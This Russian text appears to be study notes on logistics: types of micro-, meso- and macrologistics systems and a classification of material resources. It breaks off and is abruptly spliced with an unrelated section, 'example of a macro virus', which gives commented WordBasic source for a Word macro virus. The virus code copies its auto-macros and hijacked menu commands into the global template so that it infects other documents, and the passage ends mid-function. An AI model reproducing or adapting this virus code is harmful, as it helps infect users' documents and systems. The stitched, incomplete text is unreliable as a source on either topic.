Микрологистические системы - это подсистемы, структурные составляющие макрологистических систем. Они связаны с определенным предприятием и предназначены для управления потоками в процессе производства, снабжения и сбыта. В зависимости от целей ЛС и от степени охвата базисных ЛО различают следующие виды микрологистических систем:

1. внутрипроизводственные ЛС оптимизируют управление МП в пределах технологического цикла производства продукции (снижение запасов МР и незавершенного производства, ускорение оборачиваемости оборотного капитала фирмы, уменьшение длительности производственного периода, управление запасами МР, оптимизация работы технологического транспорта);

2. внешние ЛС решают задачи, связанные с управлением потоков от их источников к пунктам назначения вне производственного технологического цикла. Это снабженческие и распределительные задачи, такие как рационализация движения МР и ГП в товаропроводящих цепях, сокращение времени доставки МР и ГП и времени выполнения заказов потребителей, транспортировка, складирование, грузопереработка, согласование целей поставщиков, посредников и потребителей;

3. интегрированные ЛС включают в качестве элементов внутрипроизводственные и внешние логистические системы.

Мезологистическая система - объединение нескольких предприятий-партнеров по цепи поставок, преследующее общие цели и согласованно управляющее сквозным МП.

Макрологистическая система - крупная система управления МП, охватывающая предприятия и организации промышленности, посреднические, торговые и транспортные организации различных ведомств, расположенных в разных районах, регионах страны или в разных странах. Цели макрологистических систем могут отличаться от целей микрологистических систем, т. е. быть экологическими, социальными или политическими, а не связанными с извлечением прибыли. Макрологистические системы различают: по признаку административно-территориального деления страны (районные, межрайонные, городские, областные и краевые, региональные и межрегиональные; республиканские и межреспубликанские; по объектно-функциональному признаку (для группы предприятий одной или нескольких отраслей, ведомственные, отраслевые, межведомственные, межотраслевые, военные и т.д.).

13.Привести классификацию продукций материально-технического назначения и вторичных материальных ресурсов, показать направления использования вторичных материальных ресурсов.

Классификация материально-технических ресурсов

1). Предметы труда

Предметы труда классифицируются на несколько самостоятельных групп.

1. Черные металлы - прокат, железнодорожные рельсы, балки, швеллеры, сталь различных сортов (инструментальная, конструкционная, быстрорежущая).

Метизы -металлические изделия, проволока различных сече­ний и сортов, стальная лента, сетка, канаты, гвозди, сварочные электро­ды.

Сырье для черной металлургии - шихтовые материалы, же­лезная руда, стальной и чугунный лом, металлургический кокс, чугун передельный и литейный, ферросплавы.

Трубы -металлические: стальные, чугунные, эмалированные, бес­шовные, сварные, нефтяные, газовые, водопроводные; неметаллические: железобетонные, керамические, асбоцементные, стеклянные.

Цветные металлы - медь, алюминий, свинец; сплавы из них -латунь, бронза; прокат из них - лист, труба, пруток; сырье для цветной металлургии.

Нефтепродукты - авиационный и автомобильный бензин, дизельное топливо, мазут, различные масла (авиационное, дизельное, автомобильное, трансформаторное).

Химикаты и резинотехнические изделия - продукция основ­ной химии: сода, кислоты и др.; органического синтеза: спирты, ацетон и др.; пластические массы и порошки; анилиновые красители; рези­нотехническая продукция.

Лесные материалы - деловая древесина; пиломатериалы, го­товые изделия из древесины (фанера, столярные плиты, тарная доска).

Бумажно-целлюлозная продукция - бумага (газетная, писчая, типографская, упаковочная); картон (тарный, переплетный, кровельный); изделия из бумаги (мешки, картонная тара, обои, пергамент).

10 . Строительные материалы - цемент различных марок, шифер, мягкая кровля; стекло оконное и зеркальное; асбест; краски; санитарно-техническое оборудование.

11. Сырье для легкой промышленности - хлопок-волокно; льно­волокно, волокно пеньки, джута; шерсть натуральная и восстановленная; шелк-сырец; химическое волокно; пряжа (хлопчатобумажная, шерстя­ная).

Пример макро-вируса

Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.

Macro name: AutoNew ”U”

Encryption key: DF

’Включаем обработку автоматических макросов

DisableAutoMacros 0

’Проверим, установлен ли макрос. Если макрос AutoExec

’присутствует, считаем, что файл заражен

If (Installed=0) And (ForgetIt=0) Then

’Заразим. Копируем макрос

MacroCopy WindowName$()+”:AutoExec”, ”Global:AutoExec”, 1

MacroCopy WindowName$()+”:AutoNew”, ”Global:AutoNew”, 1

MacroCopy WindowName$()+”:AutoOpen”, ”Global:AutoOpen”, 1

MacroCopy WindowName$()+”:DateiSpeichern”, ”Global:DateiSpeichern”, 1

MacroCopy WindowName$()+”:DateiSpeichernUnter”,

”Global:DateiSpeichernUnter”, 1

MacroCopy WindowName$()+”:DateiBeenden”,

”Global:DateiBeenden”, 1

MacroCopy WindowName$()+”:ExtrasOptionen”,

”Global:ExtrasOptionen”, 1

MacroCopy WindowName$()+”:DateiDokvorlagen”, ”Global:

DateiDokvorlagen”, 1

MacroCopy WindowName$()+”:It”, ”Global:It”, 1

MacroCopy WindowName$()+”:DateiDrucken”, ”Global:DateiDrucken”, 1

’Функция проверяет, инсталлирован ли макрос AutoExec

Function Installed

’Установим переменную Installed в 0 (инициализация переменной).

’При положительном результате проверки установим ее в 1

’Проверим, есть ли макросы

If CountMacros(0) > 0 Then

’Проверим имена макросов. Если есть AutoExec,

’установим переменную Installed в 1

For i=1 To CountMacros(0)

If MacroName$(i, 0)=”AutoExec” Then

Function ForgetIt

Section$=”Compatibility”

ProfilName$=”Nomvir”

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$=”0x0690690” Then